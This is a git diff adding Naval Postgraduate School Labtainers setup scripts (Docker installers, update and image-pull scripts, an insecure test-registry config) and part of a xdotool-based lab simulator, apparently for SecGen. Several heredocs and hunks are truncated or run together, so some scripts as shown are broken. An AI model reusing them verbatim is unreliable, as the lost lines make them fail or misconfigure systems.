+packagefail="false" + +for i in "${packagelist[@]}" +do +#echo $i +packagecheck=$(rpm -qa | grep $i) +#echo $packagecheck + if [ -z "$packagecheck" ]; then + if [ $i = docker-ce ];then + echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Run the install script two more times. If the issue persists, go to docker docs and follow the instructions for installing docker. (Make sure the instructions is CE and is for your Linux distribution,e.g., Ubuntu and Fedora.)" + else + echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Try installing the '$i' package individually by executing this in the command line: 'sudo apt-get install $i" + fi + packagefail="true" + #echo $packagefail + fi +done + +pipcheck=$(pip list 2> /dev/null | grep -F netaddr) +#echo $pipcheck +if [ -z "$pipcheck" ]; then + echo "ERROR: 'netaddr' package did not install properly. Please check the terminal output for any errors related to the pacakge installation. Make sure 'python-pip' is installed and then try running this command: 'sudo -H pip install netaddr' " + packagefail="true" + #echo $packagefail +fi + +pipcheck=$(pip list 2> /dev/null | grep -F parse) +#echo $pipcheck +if [ -z "$pipcheck" ]; then + echo "ERROR: 'parse' package did not install properly. Please check the terminal output for any errors related to the package installation. Make sure 'python-pip' is installed and then try running this command: 'sudo -H pip install parse' " + packagefail="true" + #echo $packagefail +fi + +if [ $packagefail = "true" ]; then + exit 1 +fi + +exit 0 + +#Notes: The -y after each install means that the user doesnt need to press y in between each package download. The install script is based on this page: https://docs.docker.com/engine/installation/linux/docker-ce/centos/ diff --git a/modules/utilities/unix/labtainers/files/labtainer.files/trunk/setup_scripts/install-docker-debian.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-debian.sh similarity index 85% rename from modules/utilities/unix/labtainers/files/labtainer.files/trunk/setup_scripts/install-docker-debian.sh rename to modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-debian.sh index 261e410ea..57cabfc72 100755 --- a/modules/utilities/unix/labtainers/files/labtainer.files/trunk/setup_scripts/install-docker-debian.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-debian.sh @@ -1,12 +1,12 @@ #!/bin/bash : <<'END' -This software was created by United States Government employees at -The Center for the Information Systems Studies and Research (CISR) -at the Naval Postgraduate School NPS. Please note that within the -United States, copyright protection is not available for any works -created by United States Government employees, pursuant to Title 17 -United States Code Section 105. This software is in the public -domain and is not subject to copyright. +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. END # #Install Docker on a Debian system, along with other packages required by Labtainers @@ -15,9 +15,9 @@ type sudo >/dev/null 2>&1 || { echo >&2 "Please install sudo. Aborting."; exit sudo -v || { echo >&2 "Please make sure user is sudoer. Aborting."; exit 1; } #needed packages for Docker install sudo apt-get update -sudo apt-get -y install apt-transport-https ca-certificates curl gnupg2 software-properties-common +sudo apt-get -y install apt-transport-https ca-certificates curl gnupg2 software-properties-common -#adds Docker�s official GPG Key +#adds Dockers official GPG Key curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - #used to verify matching Key ID (optional) @@ -28,8 +28,7 @@ sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debi #installs Docker:Community Edition sudo apt-get update -# SecGen change: repo is unauthenticated -sudo apt-get -y --allow-unauthenticated install docker-ce +sudo apt-get -y install docker-ce #gives user access to docker commands sudo groupadd docker @@ -40,8 +39,8 @@ sudo systemctl start docker sudo systemctl enable docker #additional packages needed for labtainers -sudo apt-get -y install python-pip -sudo pip install --upgrade pip +sudo apt-get -y install python-pip +sudo pip install --upgrade pip sudo pip install netaddr parse python-dateutil sudo apt-get -y install openssh-server @@ -55,10 +54,10 @@ do packagecheck=$(dpkg -s $i 2> /dev/null | grep Status) #echo $packagecheck if [ "$packagecheck" != "Status: install ok installed" ]; then - if [ $i = docker-ce ];then + if [ $i = docker-ce ];then echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Run the install script two more times. If the issue persists, go to docker docs and follow the instructions for installing docker. (Make sure the instructions is CE and is for your Linux distribution,e.g., Ubuntu and Fedora.)" else - echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Try installing the '$i' package individually by executing this in the command line: 'sudo apt-get install $i" + echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Try installing the '$i' package individually by executing this in the command line: 'sudo apt-get install $i" fi packagefail="true" #echo $packagefail @@ -87,4 +86,4 @@ fi exit 0 -#Notes: The �-y� after each install means that the user doesn�t need to press �y� in between each package download. The install script is based on this page: https://docs.docker.com/engine/installation/linux/docker-ce/debian/ +#Notes: The -y after each install means that the user doesnt need to press y in between each package download. The install script is based on this page: https://docs.docker.com/engine/installation/linux/docker-ce/debian/ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-fedora.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-fedora.sh new file mode 100755 index 000000000..e6571c5cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-fedora.sh @@ -0,0 +1,99 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Install Docker on a Fedora system, along with other packages required by Labtainers +# + +# Current version of Fedora that works with labtainers +FEDORA_VERSION_WORK="25" + +# Get the OS release +source /etc/os-release + +if [ "$VERSION_ID" != "$FEDORA_VERSION_WORK" ] +then + echo "Version $VERSION_ID of Fedora does not support Docker-ce, and therefore cannot be used for Labtainers." + echo "The latest Fedora version that supports Docker-ce is $FEDORA_VERSION_WORK" + exit 1 +fi + +#needed packages for install +#sudo dnf upgrade +sudo dnf -y install dnf-plugins-core + +#sets up stable repository +sudo dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo + +#installs Docker: Community Edition +#sudo dnf upgrade +sudo dnf makecache fast +sudo dnf -y install docker-ce + +#additional packages needed +sudo dnf -y install python-pip +sudo pip install --upgrade pip +sudo pip install netaddr parse python-dateutil +sudo dnf install -y openssh-server +sudo dnf install -y xterm + +#starts and enables docker +sudo systemctl start docker +sudo systemctl enable docker + +#gives user docker commands +sudo groupadd docker +sudo usermod -aG docker $USER + + + +#---Checking if packages have been installed. If not, the system will not reboot and allow the user to investigate. +declare -a packagelist=("dnf-plugins-core" "docker-ce" "python-pip" "openssh-server") +packagefail="false" + +for i in "${packagelist[@]}" +do +#echo $i +packagecheck=$(rpm -qa | grep $i) +#echo $packagecheck + if [ -z "$packagecheck" ]; then + if [ $i = docker-ce ];then + echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Run the install script two more times. If the issue persists, go to docker docs and follow the instructions for installing docker. (Make sure the instructions is CE and is for your Linux distribution,e.g., Ubuntu and Fedora.)" + else + echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Try installing the '$i' package individually by executing this in the command line: 'sudo apt-get install $i" + fi + packagefail="true" + #echo $packagefail + fi +done + +pipcheck=$(pip list 2> /dev/null | grep -F netaddr) +#echo $pipcheck +if [ -z "$pipcheck" ]; then + echo "ERROR: 'netaddr' package did not install properly. Please check the terminal output for any errors related to the pacakge installation. Make sure 'python-pip' is installed and then try running this command: 'sudo -H pip install netaddr' " + packagefail="true" + #echo $packagefail +fi + +pipcheck=$(pip list 2> /dev/null | grep -F parse) +#echo $pipcheck +if [ -z "$pipcheck" ]; then + echo "ERROR: 'parse' package did not install properly. Please check the terminal output for any errors related to the package installation. Make sure 'python-pip' is installed and then try running this command: 'sudo -H pip install parse' " + packagefail="true" + #echo $packagefail +fi + +if [ $packagefail = "true" ]; then + exit 1 +fi + +exit 0 + +#Notes: The -y after each install means that the user doesnt need to press y in between each package download. The install script is based on this page: https://docs.docker.com/engine/installation/linux/docker-ce/fedora/ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-ubuntu.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-ubuntu.sh new file mode 100755 index 000000000..787a5d5cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-docker-ubuntu.sh @@ -0,0 +1,104 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Install Docker on an Ubuntu system, along with other packages required by Labtainers +# + +type sudo >/dev/null 2>&1 || { echo >&2 "Please install sudo. Aborting."; exit 1; } +sudo -v || { echo >&2 "Please make sure user is sudoer. Aborting."; exit 1; } +#---needed packages for install +sudo apt-get update +# gdf ubuntu +#sudo apt-get install libcurl3-gnutls=7.47.0-1ubuntu2 +sudo apt-get -y install apt-transport-https ca-certificates curl software-properties-common xterm +RESULT=$? +if [ $RESULT -ne 0 ];then + echo "problem fetching packages, exit" + exit 1 +fi +version=$(lsb_release -a | grep Release: | cut -f 2) +docker_package=docker-ce +if [[ $version != 18.* ]]; then + #---adds docker<92>s official GPG key + curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - + + #---sets up stable repository + sudo apt-get update + sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" + + #---installs Docker: Community Edition + sudo apt-get update + sudo apt-get -y install docker-ce +else + docker_package=docker.io + echo "Installing docker.io for version 18 of Ubuntu" + sudo apt-get update + sudo apt-get -y install docker.io +fi + +#---starts and enables docker +sudo systemctl start docker +sudo systemctl enable docker + +#---gives user docker commands +sudo groupadd docker +sudo usermod -aG docker $USER + +#---other packages required by Labtainers +sudo apt-get -y install python-pip +sudo -H pip install --upgrade pip +sudo -H pip install netaddr parse python-dateutil +sudo apt-get -y install openssh-server + +#---Checking if packages have been installed. If not, the system will not reboot and allow the user to investigate. +declare -a packagelist=("apt-transport-https" "ca-certificates" "curl" "software-properties-common" "$docker_package" "python-pip" "openssh-server") +packagefail="false" + +for i in "${packagelist[@]}" +do +#echo $i +packagecheck=$(dpkg -s $i 2> /dev/null | grep Status) +#echo $packagecheck + if [ "$packagecheck" != "Status: install ok installed" ]; then + if [ $i = $docker_package ];then + echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. If the issue persists, go to docker docs and follow the instructions for installing docker. (Make sure the instructions is CE and is for your Linux distribution,e.g., Ubuntu and Fedora.)" + else + echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Try installing the '$i' package individually by executing this in the command line: 'sudo apt-get install $i" + fi + packagefail="true" + #echo $packagefail + fi +done + +pipcheck=$(pip list 2> /dev/null | grep -F netaddr) +#echo $pipcheck +if [ -z "$pipcheck" ]; then + echo "ERROR: 'netaddr' package did not install properly. Please check the terminal output for any errors related to the pacakge installation. Make sure 'python-pip' is installed and then try running this command: 'sudo -H pip install netaddr' " + packagefail="true" + #echo $packagefail +fi + +pipcheck=$(pip list 2> /dev/null | grep -F parse) +#echo $pipcheck +if [ -z "$pipcheck" ]; then + echo "ERROR: 'parse' package did not install properly. Please check the terminal output for any errors related to the package installation. Make sure 'python-pip' is installed and then try running this command: 'sudo -H pip install parse' " + packagefail="true" + #echo $packagefail +fi + +if [ $packagefail = "true" ]; then + echo "If you manually install packages to correct the problem, be sure to reboot the system before trying to use Labtainers." + exit 1 +fi + +exit 0 + +#Notes: The -y after each install means that the user doesnt need to press y in between each package download. The install script is based on this page: https://docs.docker.com/engine/installation/linux/docker-ce/ubuntu/ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-labtainer.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-labtainer.sh new file mode 100755 index 000000000..9018bf585 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/install-labtainer.sh @@ -0,0 +1,75 @@ +#!/bin/bash +read -p "This script will reboot the system when done, press enter to continue" +# +# ensure labtainer paths in .bashrc +# +target=~/.bashrc +grep ":./bin:" $target | grep PATH >>/dev/null +result=$? +if [[ result -ne 0 ]];then + here=`pwd` + cat <>$target + if [[ ":\$PATH:" != *":./bin:"* ]]; then + export PATH="\${PATH}:./bin:$here/trunk/scripts/designer/bin" + export LABTAINER_DIR=$pwd/trunk + fi +EOT +fi + +if [ ! -h labtainer-student ]; then ln -s trunk/scripts/labtainer-student; fi +if [ ! -h labtainer-instructor ]; then ln -s trunk/scripts/labtainer-instructor; fi +# add link to update script +full=`realpath trunk/setup_scripts/update-labtainer.sh` +ln -sf $full trunk/scripts/labtainer-student/bin/update-labtainer.sh +cd trunk/setup_scripts +found_distrib=`cat /etc/*-release | grep "^DISTRIB_ID" | awk -F "=" '{print $2}'` +if [[ -z "$1" ]]; then + if [[ -z "$found_distrib" ]]; then + # fedora gotta be different + found_distrib=`cat /etc/*-release | grep "^NAME" | awk -F "=" '{print $2}'` + fi + distrib=$found_distrib +else + distrib=$1 +fi +RESULT=0 +case "$distrib" in + Ubuntu) + echo is ubuntu + ./install-docker-ubuntu.sh + RESULT=$? + ;; + Debian|\"Debian*) + echo is debian + ./install-docker-debian.sh + RESULT=$? + ;; + Fedora) + echo is fedora + ./install-docker-fedora.sh + ;; + Centos) + echo is centos + ./install-docker-centos.sh + RESULT=$? + ;; + *) + if [[ -z "$1" ]]; then + echo "Did not recognize distribution: $found_distrib" + echo "Try providing distribution as argument, either Ubuntu|Debian|Fedora|Centos" + else + echo $"Usage: $0 Ubuntu|Debian|Fedora|Centos" + fi + exit 1 +esac +if [[ "$RESULT" -eq 0 ]]; then + /usr/bin/newgrp docker <> /etc/hosts +./testreg-add.py +systemctl restart docker + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/pull-all.py b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/pull-all.py new file mode 100755 index 000000000..dab9bc482 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/pull-all.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +import os +import sys +import argparse +sys.path.append('../scripts/labtainer-student/bin') +import labutils +import ParseLabtainerConfig +import LabtainerLogging +import InspectLocalReg +import InspectRemoteReg +parser = argparse.ArgumentParser(description='Pull all base images if they do not yet exist') +parser.add_argument('-f', '--force', action='store_true', default=False, help='always pull latest') +parser.add_argument('-t', '--test_registry', action='store_true', default=False, help='pull all Labtainer base images') +parser.add_argument('-m', '--metasploit', action='store_true', default=False, help='include metasploitable and kali images') +args = parser.parse_args() + +lab_config_file = os.path.join('../config', 'labtainer.config') +labutils.logger = LabtainerLogging.LabtainerLogging("pull.log", 'pull-all', "../config/labtainer.config") +logger = labutils.logger +labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(lab_config_file, logger) +test_registry = False +if not args.test_registry: + env = os.getenv('TEST_REGISTRY') + if env is not None and env.lower() == 'true': + test_registry = True +if args.test_registry or test_registry: + registry = labtainer_config.test_registry +else: + registry = labtainer_config.default_registry +print('registry is: %s' % registry) +config_list = ['base', 'network', 'firefox', 'wireshark', 'java', 'centos', 'lamp'] +if args.metasploit: + config_list.append('metasploitable') + config_list.append('kali') +for config in config_list: + image_name = '%s/labtainer.%s' % (registry, config) + local_created, local_user, local_version = labutils.inspectImage(image_name) + if args.force or local_created is None: + cmd = 'docker pull %s/labtainer.%s' % (registry, config) + print(cmd) + os.system(cmd) + ''' + else: + if test_registry: + reg_created, reg_user, reg_version = InspectLocalReg.inspectLocal(image_name, registry) + else: + reg_created, reg_user, reg_version = InspectRemoteReg.inspectRemote(image_name) + if local_created < reg_created: + print(cmd) + #os.system(cmd) + ''' + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/pull-all.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/pull-all.sh new file mode 100755 index 000000000..18a3c6f2e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/pull-all.sh @@ -0,0 +1,3 @@ +#!/bin/bash +# +./pull-all.py diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/removealllabs.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/removealllabs.sh new file mode 100755 index 000000000..b63946236 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/removealllabs.sh @@ -0,0 +1,7 @@ +#!/bin/bash +labs=$(ls ../labs) +for l in $labs; do + echo $l + ../scripts/labtainer-student/bin/removelab.py $l +done + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/testreg-add.py b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/testreg-add.py new file mode 100755 index 000000000..2107d5735 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/testreg-add.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python +import json +import os +import subprocess +''' +Update the docker/daemon.json file to reflect the test registry +''' +jfile = '/etc/docker/daemon.json' + +if os.path.isfile(jfile): + data = json.load(open(jfile)) +else: + #print('no file at %s' % jfile) + if not os.path.isdir('/etc/docker'): + os.path.mkdir('/etc/docker') + data = {} + +if 'insecure-registries' in data: + print('already has insecure-registries %s' % data['insecure-registries']) +else: + print('adding insecure-registries') + data['insecure-registries'] = 'testregistry:5000' + + with open(jfile, 'w') as outfile: + json.dump(data, outfile, indent = 4) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/update-designer.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/update-designer.sh new file mode 100755 index 000000000..faac18e38 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/update-designer.sh @@ -0,0 +1,72 @@ +#!/bin/bash +# +# figure out where we are executing from and go to the labtainer directory +# +if [ "$#" -eq 1 ]; then + if [ "$1" == "-t" ]; then + export TEST_REGISTRY=TRUE + else + echo "update-labtainers [-t]" + echo " use -t to pull tar from /media/sf_SEED" + echo " and pull images from the test registry" + exit + fi +elif [ "$#" -ne 0 ]; then + echo "update-labtainers [-t]" + echo " use -t to pull tar from /media/sf_SEED" + echo " and pull images from the test registry" + exit +fi +here=`pwd` +if [[ $here == */labtainer ]]; then + echo is at top >> /dev/null +elif [[ $here == */labtainer-student ]]; then + #echo is in student + real=`realpath ./` + cd $real + cd ../../.. +elif [[ $here == */setup_scripts ]]; then + cd ../../ +else + echo "Please run this script from the labtainer or labtainer-student directory" + exit +fi +labtainer_root=`pwd` +target=~/.bashrc +grep ":scripts/designer/bin:" $target | grep PATH >>/dev/null +result=$? +if [[ result -ne 0 ]];then + cat <>$target + if [[ ":\$PATH:" != *":scripts/designer/bin:"* ]]; then + export PATH="\${PATH}:$labtainer_root/trunk/scripts/designer/bin" + export LABTAINER_DIR=$labtainer_root/trunk + fi +EOT +fi +rm -f update-designer.sh +ln -s trunk/setup_scripts/update-designer.sh +full=`realpath trunk/setup_scripts/update-designer.sh` +ln -sf $full trunk/scripts/labtainer-student/bin/update-designer.sh +if [[ "$TEST_REGISTRY" != TRUE ]]; then + wget https://my.nps.edu/documents/107523844/109121513/labtainer-developer.tar/f377285e-23b5-4cd4-a578-c879b0200fff -O labtainer-developer.tar +else + cp /media/sf_SEED/labtainer-developer.tar . + echo "USING SHARED FILE TAR, NOT PULLING FROM WEB" +fi +sudo trunk/setup_scripts/dns-add.py +sudo systemctl restart docker +sudo -H pip install netaddr parse python-dateutil +cd .. +# ad-hoc clean up. remove after a while +rm -f labtainer/trunk/scripts/labtainer-student/bin/SimLab* + +tar xf labtainer/labtainer-developer.tar +grep "^Distribution created:" labtainer/trunk/README.md | awk '{print "Updated to release of: ", $3, $4}' + +if [ ! -L $HOME/Desktop/labdesigner.pdf ]; then + read -p "Add desktop shortcut to Lab Designer Guide?(y/n) " -n 1 -r + echo + if [[ $REPLY =~ ^[Yy]$ ]]; then + ln -s "$(pwd)"/labtainer/trunk/docs/labdesigner/labdesigner.pdf $HOME/Desktop/labdesigner.pdf + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/update-labtainer.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/update-labtainer.sh new file mode 100755 index 000000000..db236c841 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/update-labtainer.sh @@ -0,0 +1,69 @@ +#!/bin/bash +# +# Update a labtainers installation to use the latest tar and fetch the +# latest baseline images +# +if [ "$#" -eq 1 ]; then + if [ "$1" == "-t" ]; then + export TEST_REGISTRY=TRUE + else + echo "update-labtainers [-t]" + echo " use -t to pull tar from /media/sf_SEED" + echo " and pull images from the test registry" + exit + fi +elif [ "$#" -ne 0 ]; then + echo "update-labtainers [-t]" + echo " use -t to pull tar from /media/sf_SEED" + echo " and pull images from the test registry" + exit +fi +# +# figure out where we are executing from and go to the labtainer directory +# +here=`pwd` +if [[ $here == */labtainer ]]; then + echo is at top >> /dev/null +elif [[ $here == */labtainer-student ]]; then + #echo is in student + real=`realpath ./` + cd $real + cd ../../.. +elif [[ $here == */setup_scripts ]]; then + cd ../../ +else + echo "Please run this script from the labtainer or labtainer-student directory" + exit +fi +rm -f update-labtainer.sh +ln -s trunk/setup_scripts/update-labtainer.sh +full=`realpath trunk/setup_scripts/update-labtainer.sh` +ln -sf $full trunk/scripts/labtainer-student/bin/update-labtainer.sh +test_flag="" +if [[ "$TEST_REGISTRY" != TRUE ]]; then + wget https://my.nps.edu/documents/107523844/109121513/labtainer.tar/6fc80410-e87d-4e47-ae24-cbb60c7619fa -O labtainer.tar + sync +else + cp /media/sf_SEED/labtainer.tar . + echo "USING SHARED FILE TAR, NOT PULLING FROM WEB" + test_flag="-t -m" +fi +cd .. +tar xf labtainer/labtainer.tar --keep-newer-files --warning=none +cd labtainer/trunk/setup_scripts +./pull-all.py $test_flag +cd ../../.. +# +# ensure labtainer paths in .bashrc +# +target=~/.bashrc +grep ":./bin:" $target >>/dev/null +result=$? +if [[ result -ne 0 ]];then + cat <>$target + if [[ ":\$PATH:" != *":./bin:"* ]]; then + export PATH="\${PATH}:./bin" + fi +EOT +fi +grep "^Distribution created:" labtainer/trunk/README.md | awk '{print "Updated to release of: ", $3, $4}' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/update-testsets.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/update-testsets.sh new file mode 100755 index 000000000..ac3e97f09 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/update-testsets.sh @@ -0,0 +1,4 @@ +#!/bin/bash +cd ../.. +tar xf /media/sf_SEED/labtainer-tests.tar + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/vm-profile-add.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/vm-profile-add.sh new file mode 100755 index 000000000..a86198bf2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/setup_scripts/vm-profile-add.sh @@ -0,0 +1,30 @@ +#s!/bin/bash +# +# Modify the user profile to create a terminal on login that +# starts in the labtainer workspace. The profile will also, run the Labtainer +# update script if the labtainer/.doupdate file exists. +# This script also creates the .doupdate file and modifieds gnome +# to shutdown when the virtual powerbutton is pressed. +# +cat >>~/.profile < + Select the window whose title matches the given name, e.g., ubuntu@onewayhash + type_file + Type lines from the fname file as if they were commands + key "" + Type the given key, identified by its X Keysim string. + add_file + Add content of to a file named , creating if necessary + replace_file + Replace the content of with the content of + + sleep + wait_proc + Wait until a "ps -ao " finds no process on the linux host. + The SimLab is intended to be run from the labtainer-student directory after the + lab has been started. It is sensitive to the current window focus, so do not try + to work in other windows. + The smoketest.py utility will start a lab, run its SimLab, and then run the + instructor container and compare results to what is found in the testsets/simlab/[lab]/expected + directory. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/bin/SimLab.py b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/bin/SimLab.py new file mode 100755 index 000000000..53076a4b3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/bin/SimLab.py @@ -0,0 +1,544 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import os +import subprocess +import argparse +import time +import shlex +import signal +import sys +import logging +sys.path.append('./bin') +import ParseLabtainerConfig +''' +Use xdotool to simulate a lab being performed, as driven by +a simthis.txt file +''' +def isProcRunning(proc_string): + ''' return True if given string in ps -ao args ''' + time.sleep(0.5) + cmd = 'ps -ao args' + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = ps.communicate() + for line in output[0].splitlines(): + #print('is %s in %s' % (proc_string, line)) + if proc_string in output[0]: + return True + return False + + +def DockerCmd(cmd): + ok = False + count = 0 + while not ok: + #print("Command to execute is (%s)" % cmd) + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + count += 1 + #print("Failed cmd %s %s" % (cmd, output[1])) + if count > 1: + return False, "" + time.sleep(1) + else: + if len(output[0]) > 0: + #print("cmd %s stdout: %s" % (cmd, output[0])) + return True, output[0] + else: + #print("cmd %s stdout: ''" % cmd) + ok = True + return True, "" + +class SimLab(): + def __init__(self, lab, verbose_level=0, in_file='simthis.txt', logger=None): + self.sim_path = os.path.abspath(os.path.join('../../../simlab', lab)) + self.labname = lab + self.current_wid = None + self.logger = logger + self.in_file = in_file + print('set verbose to %s' % verbose_level) + self.verbose_level = verbose_level + + # For dconf - HUD setting + self.dconf_enable = None + self.dconf_orig_hud_string_set = None + self.dconf_hud_string = "" + + if not os.path.isdir(self.sim_path): + return None + + def hasSim(self): + if os.path.isdir(self.sim_path): + return True + else: + return False + + def getExpectedPath(self): + return os.path.join(self.sim_path, 'expected') + + def dotool(self, cmd): + cmd = 'xdotool %s' % cmd + #print('dotool cmd: %s' % cmd) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + print output[1] + return output[0].strip() + + + def searchWindows(self, name, wait=False): + ''' find the most recent window whose title matches the given name. + The title "Terminal" seems to return most windows, so double check + the name against the getWindowname results. + ''' + wid = None + count = 0 + while wid is None or len(wid) == 0: + count += 1 + if count > 20 and not wait: + print('searchWindows failed to find %s after 20 seconds, exit' % name) + exit(1) + time.sleep(1) + if '"' not in name: + name = '"'+name+'"' + cmd = 'search %s' % name + self.logger.debug('searchWindows %s' % cmd) + output=self.dotool(cmd) + #print('output is %s' % output) + parts = output.strip().split() + if len(parts) == 1: + self.logger.debug('search out is %s' % output) + twid = output.rsplit(' ',1)[0].strip() + cmd = 'getwindowname %s' % twid + wname = self.dotool(cmd) + if name.strip('"') in wname: + wid = output.rsplit(' ',1)[0].strip() + elif len(parts)>0: + for twid in sorted(parts, reverse=True): + cmd = 'getwindowname %s' % twid + wname = self.dotool(cmd) + if name.strip('"') in wname: + self.logger.debug('wid: %s wname is %s' % (twid, wname)) + wid = twid + break + return wid + + def activate(self, wid): + self.current_wid = int(wid) + cmd = 'windowactivate --sync %s' % wid + self.dotool(cmd) + + def typeLit(self, string): + for c in string: + key = c + if key == '`': + key = 'grave' + elif key == '-': + key = 'minus' + elif key == ' ': + key = 'space' + cmd = 'key %s' % key + self.dotool(cmd) + self.dotool('key Return') + + def typeLine(self, string): + #cmd = "type --window %d '%s'" % (self.current_wid, string) + ''' xdotool cannot handle a mix of single/double quotes. ''' + if '"' in string and "'" in string: + parts = string.split("'") + count = 0 + for p in parts: + count += 1 + cmd = "type '%s'" % p + self.dotool(cmd) + if count < len(parts): + cmd = "key apostrophe" + self.dotool(cmd) + cmd = "key Return" + self.dotool(cmd) + else: + if '"' in string: + cmd = "type '%s\n'" % (string) + #print('cmd is %s' % cmd) + else: + cmd = 'type "%s\n"' % (string) + self.dotool(cmd) + #cmd = 'key Return' + #self.dotool(cmd) + + + def multilineCommand(self, line, fh): + cmd = line + while line.strip().endswith('\\'): + line = fh.readline() + cmd = cmd+line + #print('cmd: %s' % cmd) + return cmd + + def commandFile(self, fname): + full = os.path.join(self.sim_path, fname) + with open(full) as fh: + line = ' ' + while line is not None and len(line) > 0: + line = fh.readline() + if line is not None and len(line) > 0: + cmd = self.multilineCommand(line, fh) + if len(cmd.strip()) > 0: + self.typeLine(cmd.strip()) + while isProcRunning(cmd.strip()): + print('%s running, wait' % cmd.strip()) + time.sleep(1) + # at least one to avoid timestamp collisions + time.sleep(1) + + def typeFile(self, fname): + full = os.path.join(self.sim_path, fname) + with open(full) as fh: + for line in fh: + if line.strip().startswith('#'): + print('verbose level %d' % self.verbose_level) + if self.verbose_level >= 1: + print('%s' % line.strip()) + sys.stdout.flush() + continue + if len(line.strip()) > 0: + if self.verbose_level == 2: + print('cmd: %s' % line.strip()) + sys.stdout.flush() + self.typeLine(line.strip()) + time.sleep(1.1) + else: + #print 'sleep 2' + time.sleep(2) + + def keyFile(self, fname): + full = os.path.join(self.sim_path, fname) + with open(full) as fh: + for line 